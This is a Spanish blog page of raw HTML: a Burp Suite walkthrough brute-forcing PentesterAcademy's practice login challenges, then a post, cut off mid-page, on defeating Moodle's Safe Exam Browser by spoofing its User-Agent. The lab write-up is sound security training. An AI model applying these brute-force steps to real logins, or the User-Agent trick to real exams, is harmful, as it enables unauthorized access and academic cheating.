</ol> <div> Bueno ya teniendo esta información nos vamos a <b>Burp Suite</b>, en mi caso estoy realizando las pruebas en <b>Kali Linux, </b>El cual ya trae integrada la herramienta en su versión gratuita.</div> <div> <br /></div> <div> En la pestaña <b>Proxy</b>&nbsp;de <b>Burp Suite</b>&nbsp;podemos observar que trabaja en localhost (127.0.0.1) a través del puerto 8080. estos datos los configuramos en nuestro navegador.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpbp4i6XzeRCGyOyrUTvKBFaWU6llB9C52hZsvhC-WrrhAuOrw97Ng0cTSYfwl_8j2Jm-rulHhM41V0cVsn5z5jDyY7gHDI0vIXSD5QV6mtuaV-tdNM1WlrpxdWhEZwo8Qe3Xb2VRv_tk/s1600/proxy-burp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpbp4i6XzeRCGyOyrUTvKBFaWU6llB9C52hZsvhC-WrrhAuOrw97Ng0cTSYfwl_8j2Jm-rulHhM41V0cVsn5z5jDyY7gHDI0vIXSD5QV6mtuaV-tdNM1WlrpxdWhEZwo8Qe3Xb2VRv_tk/s1600/proxy-burp.png" height="233" width="640" /></a></div> <div> <br /></div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSs1aZCH5fGCnsDxDkx03tM0KQs_2AvjQor-YhFdQTNg7vgqkLlsImAxaht8VvqnX5sGkeanTf954eGlkccbyYOOLzBpEG-sJUqOlrxZA0CT4qYtM4fIB9Gncp965SipCAQ89l_vXYzfI/s1600/proxy-browser.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSs1aZCH5fGCnsDxDkx03tM0KQs_2AvjQor-YhFdQTNg7vgqkLlsImAxaht8VvqnX5sGkeanTf954eGlkccbyYOOLzBpEG-sJUqOlrxZA0CT4qYtM4fIB9Gncp965SipCAQ89l_vXYzfI/s1600/proxy-browser.png" height="640" width="523" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Una vez ya configurado podemos captar la comunicación de nuestro navegador. <b>Burp suite </b>intercepta antes de enviar los datos entre el navegador y la aplicación web. ya interceptada puedes validar datos, modificar o simplemente hacer clic en <b>Forward. </b>para que <b>Burp Suite </b>permita seguir la comunicación.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Para el primer laboratorio digitare en el login un nombre de usuario de los que nos dan que seria <b>admin@PentesterAcademy.com </b>y contraseña cualquier cosa solo como prueba.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Una vez interceptada la comunicación esta la podemos observar en la pestaña <b>intercept&nbsp;</b>de <b>burp suite.</b></div> <div class="separator" style="clear: both; text-align: center;"> </div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZn-4M1mczfmvdzfex1T-w_i0iWAxdYFzbkL5bOSlapbcPKzzmkndWOzodLHuImtWQL5_SblmmYTNBWJPY7TZ7-1ixIYsDBUveVQWVN4_92ZbZRtBvrJHK_nBMEWeiZXn0C36d16A0Hoc/s1600/intercept.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZn-4M1mczfmvdzfex1T-w_i0iWAxdYFzbkL5bOSlapbcPKzzmkndWOzodLHuImtWQL5_SblmmYTNBWJPY7TZ7-1ixIYsDBUveVQWVN4_92ZbZRtBvrJHK_nBMEWeiZXn0C36d16A0Hoc/s1600/intercept.png" /></a></div> <div style="text-align: justify;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: center;"> </div> <div style="text-align: justify;"> Como ven en la imagen la petición se hace a través del método <b>GET</b>&nbsp;y muestra en texto plano lo enviado. esta información la envió al componente <b>intruder.</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> En este componente nos encontraremos las siguientes pestañas:</div> <div style="text-align: justify;"> <b>Target: </b>Nos muestra información del objetivo y nos permite modificar dominio y puerto</div> <div style="text-align: justify;"> <b>Positions: </b>Nos permite configurar las variables ha tener en cuenta en el <b>Payloads.</b></div> <div style="text-align: justify;"> <b>Payloads:</b>&nbsp;Nos permite configurar la transmisión de los datos a proporcionar a la aplicación.</div> <div style="text-align: justify;"> <b>Option: </b>Permite realizar&nbsp;ajustes que controlan si&nbsp;<b>intruder</b> actualiza los encabezados de solicitud configurados durante los ataques.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Nos vamos a la pestaña <b>Positions.</b>&nbsp;selecciono el valor del campo <b>password </b>y hago clic en el botón <b>add$ </b>esto con el propósito que solo cambien los valores de la contraseña ya que conocemos el usuario. y el tipo de ataque seleccionamos <b>sniper.</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrP4JfDDYl100Hz1tNW6xNJ5OtO6KZx3oEKWQT92ghyphenhyphenljn7fvNTY_Vbt1kcVVXF75DrIDbS2U5r-OyEN4iW14Dc5dSqTmPWX37a2GUwMrgml3tt0hf_d_QVCy2Fm3GbDSIZC68zG-VQqM/s1600/positions.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrP4JfDDYl100Hz1tNW6xNJ5OtO6KZx3oEKWQT92ghyphenhyphenljn7fvNTY_Vbt1kcVVXF75DrIDbS2U5r-OyEN4iW14Dc5dSqTmPWX37a2GUwMrgml3tt0hf_d_QVCy2Fm3GbDSIZC68zG-VQqM/s1600/positions.png" height="160" width="640" /></a></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> Ahora en <b>Payload.</b>&nbsp;configuremos nuestros datos a enviar.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5F7XuLy7vSAT7NToro-oTRgY1dJ7-p5dkl-WI_E4LdnEbDaZsuYizfk3gi-wrRGUw8_uuS_-FVaVU1CEIR1GIkDRsMjH9hZOkgBfOawXzOvLLwHkqkqUQasLEgoHGa4MT7wfJhoQtJgk/s1600/payload.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5F7XuLy7vSAT7NToro-oTRgY1dJ7-p5dkl-WI_E4LdnEbDaZsuYizfk3gi-wrRGUw8_uuS_-FVaVU1CEIR1GIkDRsMjH9hZOkgBfOawXzOvLLwHkqkqUQasLEgoHGa4MT7wfJhoQtJgk/s1600/payload.png" height="380" width="640" /></a></div> <div style="text-align: justify;"> En <b>Payload Type </b>seleccionamos <b>Bruter Forcer</b>&nbsp;ya que lo que vamos a realizar para este caso es un ataque de fuerza bruta. introducimos nuestros tres caracteres a permutar (x,y,z) con un mínimo y máximo de 5 caracteres. una vez configurado nos vamos al menú <b>intruder --&gt;&nbsp;Start Attack.</b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0nBYBoTao11wnk0yQvEQkKC6nOZpeHwx11E7cbU_Pj5GFKinT9hUUsnhSWBLTksVg5HMex_acvrNuJm7Rkm40jhTMT2v9WLnAvD79JAXL2Dk0Ly-NoQnugCytR-zTsBNNbrxQQyVFH6w/s1600/start-attack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0nBYBoTao11wnk0yQvEQkKC6nOZpeHwx11E7cbU_Pj5GFKinT9hUUsnhSWBLTksVg5HMex_acvrNuJm7Rkm40jhTMT2v9WLnAvD79JAXL2Dk0Ly-NoQnugCytR-zTsBNNbrxQQyVFH6w/s1600/start-attack.png" height="326" width="640" /></a></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> Una vez comienza el ataque probara las <b>243 </b>permutaciones posibles de nuestros caracteres. en este caso todas los estados seran de <b>200</b>&nbsp;asi que nos guiaremos por la <b>longitud (length).</b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5BRVbSG3ZbTatmM7ZiWyw7SI3HQnawAK_mVf7QX-mejvJIOpldSpanqMSKyS-PmH1sZHIRLv9Tpb1Duz6I3HG_Wta6CwV8PedSiqP2l9wrxTWwunTKXjFVQUJgYFFl8yPcFGRSNKpGWg/s1600/exito.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5BRVbSG3ZbTatmM7ZiWyw7SI3HQnawAK_mVf7QX-mejvJIOpldSpanqMSKyS-PmH1sZHIRLv9Tpb1Duz6I3HG_Wta6CwV8PedSiqP2l9wrxTWwunTKXjFVQUJgYFFl8yPcFGRSNKpGWg/s1600/exito.png" height="330" width="640" /></a></div> <div style="text-align: justify;"> como ven el <b>length </b>de esta varia hacemos doble clic y en <b>response</b>--&gt;<b>render </b>nos muestra que hemos entrado con exito con las credenciales:</div> <div style="text-align: justify;"> <b>username: admin@PentesterAcademy.com</b></div> <div style="text-align: justify;"> <b>password: zzzxy</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <h4 class="media-heading" style="background-color: white; font-family: 'Open Sans', Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;"> Challenge 2: HTTP Form Attacks Reloaded&nbsp;&nbsp;<img src="http://www.pentesteracademy.com/getstats?videoid=155" style="border: 0px; height: auto; max-width: 100%; vertical-align: middle;" width="25" /></h4> </div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> En el segundo desafió tenemos que pasar por alto dos tipos de autenticacion uno va por <b>GET</b> y el otro es <b>HTTP&nbsp;Basic Authentication.</b></div> <div style="text-align: justify;"> Al igual que el anterior nos dan pista, el mismo domino que el anterior, los usarios son <b>admin </b>y <b>nick, </b>la complejidad de la contraseña es de 5 caracteres en los cuales solo incluye <b>a,s,d.</b></div> <div style="text-align: justify;"> <div> <b>Usernames: nick, admin</b></div> <div> <br /></div> <div> Si caemos en el error y empezamos el ataque con fuerza bruta configurando todo los parámetros como lo hicimos anteriormente notaremos, que el metodo <b>GET </b>no funcionara por la recarga y validación del formulario&nbsp;<b>HTTP&nbsp;Basic Authentication.</b>&nbsp;y no podemos usar el metodo <b>POST</b>&nbsp;el cual usa el segundo método de autenticación. ya que el primero no lo permitira. asi que optamos por usar el metodo de cabecera <b>HEAD. </b>y asi realizar un <b>Bypass </b>al reload login.<br /> <br /></div> <div class="separator" style="clear: both; text-align: center;"> </div> <div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidXmHg2GkARuiq0hx0Dn9y4HAnaxxTM7MTHKTTKBAKGwKb8WdguYDg1M0saYR808AU01mqTwfODq5YekHSwiu47HXw9a17FDBsyuxsMkagSOUpQELCVPuT6nyiSHHfzmmQdWNpPJx-PDU/s1600/head.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidXmHg2GkARuiq0hx0Dn9y4HAnaxxTM7MTHKTTKBAKGwKb8WdguYDg1M0saYR808AU01mqTwfODq5YekHSwiu47HXw9a17FDBsyuxsMkagSOUpQELCVPuT6nyiSHHfzmmQdWNpPJx-PDU/s1600/head.png" height="238" width="640" /></a></div> Y podemos ver la contraseña fluir con la URL de éxito.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtI0Pg638h1CzNiAs4waNdPBq36mvTCOMCWMpLisEcDj5_A-YlOkZaoaoAWBELJ-86McKBlkvGk8sIiyLnLRhg7ZeeEKXEyAWlOTbx0MKvZLF7X_DXVEtFboGPesSmK9HfbqnbvhY4e-o/s1600/sucess.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtI0Pg638h1CzNiAs4waNdPBq36mvTCOMCWMpLisEcDj5_A-YlOkZaoaoAWBELJ-86McKBlkvGk8sIiyLnLRhg7ZeeEKXEyAWlOTbx0MKvZLF7X_DXVEtFboGPesSmK9HfbqnbvhY4e-o/s1600/sucess.png" /></a></div> <br /></div> <div> <h4 class="media-heading" style="background-color: white; font-family: 'Open Sans', Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;"> Challenge 3: HTTP Basic Authentication Attack (Easy)</h4> </div> <div> <br /></div> <div> En esta ocasión la autenticacion del reto esta basada por el método <b>POST. </b>A traves de <b>HTTP Basic Authentication.</b></div> <div> lo primero que podemos notar es que las credenciales viajan codificadas, (<b>No Cifradas</b>)<b>&nbsp;</b>en&nbsp;<b>Base64,</b>&nbsp;.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3g-pwk1BIdxDMwuYXI6bWrQzc3u7tbx0JYLlBxl4BAtflh4qudRR4oXJf_bZFQVteHYbWiLggXI2HoZKw7zbkPlbMWq996_C82YxBkiZeO7xfAUfkUxh-40n1nbS_yg11_tEaNMqt10/s1600/capture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3g-pwk1BIdxDMwuYXI6bWrQzc3u7tbx0JYLlBxl4BAtflh4qudRR4oXJf_bZFQVteHYbWiLggXI2HoZKw7zbkPlbMWq996_C82YxBkiZeO7xfAUfkUxh-40n1nbS_yg11_tEaNMqt10/s1600/capture.png" height="328" width="640" /></a></div> <div> <br /></div> <div> <br /></div> <div> Enviamos lo captado a <b>intruder</b>, y dentro seleccionamos el texto y haciendo clic derecho &nbsp;<b>Convert Selection --&gt; Base64 --&gt; Base64 decode.</b>&nbsp;podemos decodificar el texto y podemos observar lo digitado anteriormente.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7a9FeINedt_7CGYbCNtDbiFOUCtCyo8NbhIl3fJj9z0d82BKDl0SbJUVl90APLriBSXk5Kw5DboYUchuBHql7LsW_uCFF4re6vt_icqJvbKIpbgnIqCxbl2TBm4NIqo-jc2YG1Zig0Qg/s1600/decode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7a9FeINedt_7CGYbCNtDbiFOUCtCyo8NbhIl3fJj9z0d82BKDl0SbJUVl90APLriBSXk5Kw5DboYUchuBHql7LsW_uCFF4re6vt_icqJvbKIpbgnIqCxbl2TBm4NIqo-jc2YG1Zig0Qg/s1600/decode.png" height="260" width="640" /></a></div> <div> <br /></div> <div> Aun teniendo el texto seleccionado hacemos clic al boton <b>Add$</b>&nbsp;dado que en esta ocacion tanto la clave como el usuario viajan como un solo texto <b>Observando</b>&nbsp;: que son divididos por ":"<b>&nbsp;</b>para su identificación.</div> <div> <br /></div> <div> Nos dirigimos a <b>Payloads</b>&nbsp;y configuramos nuestros parámetros de la siguiente manera:</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiORHPu8eRRkI4P15GSHE8k_ZObMTZ6cRjtHD7LocQLQGUr1epohaU7fkCia7-lT7OEBf-kOU5CJR3WD7QDOdh2KSLy4mOvSG1R0hOepElEZquDlDIqAXNORJAvJUrM2eE6bmUswugf4FI/s1600/config.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiORHPu8eRRkI4P15GSHE8k_ZObMTZ6cRjtHD7LocQLQGUr1epohaU7fkCia7-lT7OEBf-kOU5CJR3WD7QDOdh2KSLy4mOvSG1R0hOepElEZquDlDIqAXNORJAvJUrM2eE6bmUswugf4FI/s1600/config.png" height="640" width="551" /></a></div> <div> <br /></div> <div> Seleccionamos <b>Bruter force</b>&nbsp;como tipo de ataque nuestra permutaciones que nos dan como pista. Y añadimos como reglas un prefijo "admin:" que seria el usuario con los dos puntos de division de campos. igualmente como vimos que esto viajaba codificado en <b>Base64. </b>debemos igualmente enviarlo codificado de la misma manera, para eso lo añadiremos como regla de <b>Encode.</b></div> <div> <b><br /></b></div> <div> Y en <b>Payload Encoding.</b>&nbsp;quitaremos el símbolo = ya que no es usado por&nbsp;<b><a href="http://es.wikipedia.org/wiki/Base64" target="_blank">Base64</a>. </b>Y por ultimo lanzamos nuestro ataque con <b>Burp Suite.</b>&nbsp;dándonos como resultado lo siguiente:</div> <div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZ2DtK73rjQMqmEctz8SmDTi5vgom2iunxY4T0gt1Xaij_txbpcsdmmRoqn9myvgkBmQ5wsyq-IPcmwo9Njfm6rCTqUQl3FyohTivIGpCXMGuXwWrDSKLrfgArgw46bR6B6Ll9uOoqMA/s1600/success.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZ2DtK73rjQMqmEctz8SmDTi5vgom2iunxY4T0gt1Xaij_txbpcsdmmRoqn9myvgkBmQ5wsyq-IPcmwo9Njfm6rCTqUQl3FyohTivIGpCXMGuXwWrDSKLrfgArgw46bR6B6Ll9uOoqMA/s1600/success.png" height="258" width="640" /></a></div> Donde nos arroja un <b>Status 200</b>&nbsp;El cual en <b>HTTP</b> es un estado de <b>OK. </b>seleccionamos todo el texto en <b>Authorization Basic, </b>hacemos clic derecho y lo enviamos a <b>decoder</b>&nbsp;para decodificarlo en <b>Base64 </b>y obtener el texto plano.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcoFm4P0Lw_X69HGnJOXIWPVMW1JObORKrA5w4wwPCAoLYcBfQIJR7btCQbisVMpnUeloIWEgVNyY-7Vba-vfV8dEViNCrhX-Nrp80opNMXtNi8BEBpVFI9nK0f_GzUo5pOzWZ6JevAM/s1600/decode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcoFm4P0Lw_X69HGnJOXIWPVMW1JObORKrA5w4wwPCAoLYcBfQIJR7btCQbisVMpnUeloIWEgVNyY-7Vba-vfV8dEViNCrhX-Nrp80opNMXtNi8BEBpVFI9nK0f_GzUo5pOzWZ6JevAM/s1600/decode.png" height="216" width="640" /></a></div> <b><br /></b> <b>Success</b>, nuestras credenciales de acceso serian <b>admin, aaddd</b></div> <div> <h4 class="media-heading" style="background-color: white; font-family: 'Open Sans', Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;"> Challenge 4: Basic Authentication and Form Bruteforcing (Intermediate)</h4> </div> <div> En este reto existen dos tipos de autenticacion y tenemos como pista los usuarios nick y admin.<br /> Para la autenticacion <b>html form</b> nos encontramos con 5 caracteres y hacen solo uso de los caracteres m,n,o en cuanto a la otra autenticacion contiene los caracteres v,i,e de igual tamaño. ambos en minúscula.<br /> <br /> Comenzamos a capturar y lo primero que notamos en la cabecera es que primero se valida el <b>HTTP Basic </b>y luego <b>HTML Form.</b>&nbsp;así que el orden a atacar seria primero el <b>HTTP Basic</b>&nbsp;en <b>Base64</b>&nbsp;guardar/recordar las credenciales y luego ir por el <b>HTML Form.</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAGEtTRqZPo3ZvMOwuQV-YZ3awJ88DhDWcIgRs5TvsPA1hF64GrCCXRoTXpQF3_U5BbU3XQuwTZ-3v2SkWu4g39aPTXTVvjdGIjfKCDKvbxa4Q1FvCVoYkX3WtcC8ZFVJxDzGkDJ5QXwc/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAGEtTRqZPo3ZvMOwuQV-YZ3awJ88DhDWcIgRs5TvsPA1hF64GrCCXRoTXpQF3_U5BbU3XQuwTZ-3v2SkWu4g39aPTXTVvjdGIjfKCDKvbxa4Q1FvCVoYkX3WtcC8ZFVJxDzGkDJ5QXwc/s1600/1.png" height="248" width="640" /></a></div> <b><br /></b> <b><br /></b>Ya teniendo esta analogía apliquemosla en <b>Burp Suite.&nbsp;</b>Nos vamos a <b>Payloads</b>&nbsp;y configuramos nuestro primer ataque para el <b>HTTP Basic. </b>asi que debemos configurar como en el <b>Challenge 3.</b>&nbsp;una vez ya configurado efectuamos el ataque.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZCBbnMKsqq5lD6QS25ylb880rqN-gCHs3G3dGvC4G4WlCY6ocnsvdnhtfNZW7HOW0GaLu1m9SHvWCFAfmJuhvgF5giKU3CLm3c8VVMA40ca6AKUKm-eFMD_on2BKgKYF9cpO4TXKsWY/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZCBbnMKsqq5lD6QS25ylb880rqN-gCHs3G3dGvC4G4WlCY6ocnsvdnhtfNZW7HOW0GaLu1m9SHvWCFAfmJuhvgF5giKU3CLm3c8VVMA40ca6AKUKm-eFMD_on2BKgKYF9cpO4TXKsWY/s1600/2.png" height="360" width="640" /></a></div> <br /> aplicando el decoder <b>Base64</b> podemos observar que nuestras primeras credenciales son: <b>nick:vivvv</b><br /> <b><br /></b></div> <div> Una vez ya tengamos nuestras primeras credenciales, las quemamos en la cabecera y proseguimos &nbsp;a por la segunda donde todas nos arrojaran <b>Status&nbsp;200, </b>debido al <b>OK </b>de la primera.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK4WuKTEuirzMmnQDFouk0CggPSPRaM2Iqp8Vo7TZGpr7EYr88lTo_G1S3bmeHhQFAfY4zCY85rzW3MH8ZxriWHy8OBNQqtmQCB4s3krXtieLBbZT-IW6RovlGdiYiwk8_D8Q9fBtLU9k/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK4WuKTEuirzMmnQDFouk0CggPSPRaM2Iqp8Vo7TZGpr7EYr88lTo_G1S3bmeHhQFAfY4zCY85rzW3MH8ZxriWHy8OBNQqtmQCB4s3krXtieLBbZT-IW6RovlGdiYiwk8_D8Q9fBtLU9k/s1600/3.png" height="254" width="640" /></a></div> <br /></div> <div> Efectuamos el ataque y Eureka!<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8cqXgC99WfuBxCBFrRquArPWEnk5R1PIeCIdP7Blxj-P_3yJsMNFAuvQwu8-Xq5tGQergAsBm-itKCIIY5OltxSroU0uI10Eul6BNFGNhKdbwUy6Bl0HXKMqA7Z_VjwYrTJM4Kyy2AEg/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8cqXgC99WfuBxCBFrRquArPWEnk5R1PIeCIdP7Blxj-P_3yJsMNFAuvQwu8-Xq5tGQergAsBm-itKCIIY5OltxSroU0uI10Eul6BNFGNhKdbwUy6Bl0HXKMqA7Z_VjwYrTJM4Kyy2AEg/s1600/4.png" height="360" width="640" /></a></div> Nuestras segundas credenciales son:<br /> <b>email: admin@pentesteracademy.com</b><br /> <b>password: nnomm</b><br /> como ven nuevamente las identifique por la <b>longitud (length) </b>debido al estatus <b>OK </b>de todas. ya con esto hemos pasado todos nuestros <b>Challenge</b>&nbsp;gratis de pentesteracademy con tan solo una herramienta.<br /> <br /> Espero que les haya gustado hasta otra ocasión.</div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-62367292778841749342015-04-21T21:51:00.000-05:002015-04-21T21:51:01.137-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://pbs.twimg.com/profile_images/542610317524484096/Dt5nxLua.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://pbs.twimg.com/profile_images/542610317524484096/Dt5nxLua.png" width="320" /></a></div> <div style="text-align: justify;"> Hace unos días me encontraba por realizar un examen en una plataforma <b>moodle</b>&nbsp;cuando entro para realizar el examen me encuentro con un mensaje en <b>moodle </b>donde me da el aviso que el examen solo podía realizarse en un navegador seguro.. realmente me pareció algo gracioso para un examen para personas con un grado de conocimiento en seguridad de la información.</div> <div style="text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWne_x-JV6tmPOJ45zg95AbVdZ2FCGQTSE1plwOChzKugmX9L86JrHs-0b0RqMQZC55vhMDfwS_jzDrY0MNRhSto9QUCF8J8si6v_PwzmFgcy1-hv8EE4ZDWpUgneZA5ayG4A5ofyCk4w/s1600/exman1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWne_x-JV6tmPOJ45zg95AbVdZ2FCGQTSE1plwOChzKugmX9L86JrHs-0b0RqMQZC55vhMDfwS_jzDrY0MNRhSto9QUCF8J8si6v_PwzmFgcy1-hv8EE4ZDWpUgneZA5ayG4A5ofyCk4w/s1600/exman1.png" height="316" width="640" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Inmediatamente me pico el bicho de seguridad de conocer sobre ese supuesto navegador seguro y como saltármelo.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> el navegador seguro era un modulo de moodle llamado&nbsp;<b>Safe Exam Browser</b> es un entorno supuestamente seguro donde los estudiantes pueden realizar los examenes con solo una instancia de un navegador al parecer basado en firefox &nbsp;de forma segura. El software cambia cualquier ordenador en un puesto de trabajo seguro. Regula el acceso a los servicios públicos, como funciones del sistema, otros sitios web y las aplicaciones y evita recursos no autorizadas que se utilizan durante un examen y la denegación de pulsaciones de teclas de función y combinaciones.</div> <div style="text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="http://www.safeexambrowser.org/Media/SEB-Architecture_thirdpartyapp_en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.safeexambrowser.org/Media/SEB-Architecture_thirdpartyapp_en.png" height="296" width="640" /></a></div> <div style="text-align: justify;"> Lo primero que se me vino a la mente fue descargarlo y abrirlo para ver que era.. ps realmente tomaba "posesion" del sistema y solo daba la impresión de generar un escritorio con la instancia de su navegar y nada mas que un boton de salir.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Al ser un navegador fácilmente recordamos que todos usan un <b>User-Agent. </b>el cual ubico rápidamente en la misma web.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <br /></div> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">May 23, 2013</span> <span style="color: #888888;">New Bugfix Version of SEB Windows 1.9.1 Final Release fixes a bug in the XULRunner browser component. The User Agent String in the "config.json" file has been changed from <b>"SEB" to "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0 SEB" </b>because some web pages checked it and complained.</span> </pre> </div> <div style="text-align: justify;"> <br /> Simplemente con cambiar el&nbsp;<b>User-Agent. </b>de tu navegador favorito llámese firefox o chrome podemos ingresar simulando estar en <b>SEB.</b><br /> <b><br /></b> El complemente <b>USer-Agent-Switcher</b>&nbsp;el cual se encuentra tanto para <b><a href="https://addons.mozilla.org/es/firefox/addon/user-agent-switcher/" rel="nofollow" target="_blank">firefox </a></b>como para <b><a href="https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg" rel="nofollow" target="_blank">chrome</a>&nbsp;</b>nos permite cambiar rapidamente el <b>User-Agent</b>&nbsp;por uno de los ya establecidos o generado como es el caso.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVYkhA4QX5cgANesnRWYlso4Sm5TDdrRrAUe0HJLoFC-sfiJYO8NYtZHd7jT4lFKZVukd66GuvlM4HL5-sX_qlYXMQWNKvd-O2OBeCoVdH3l2bhqrSDJW8GlSAQH1cZdMzsx7kkfwAsWg/s1600/user-agent.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" 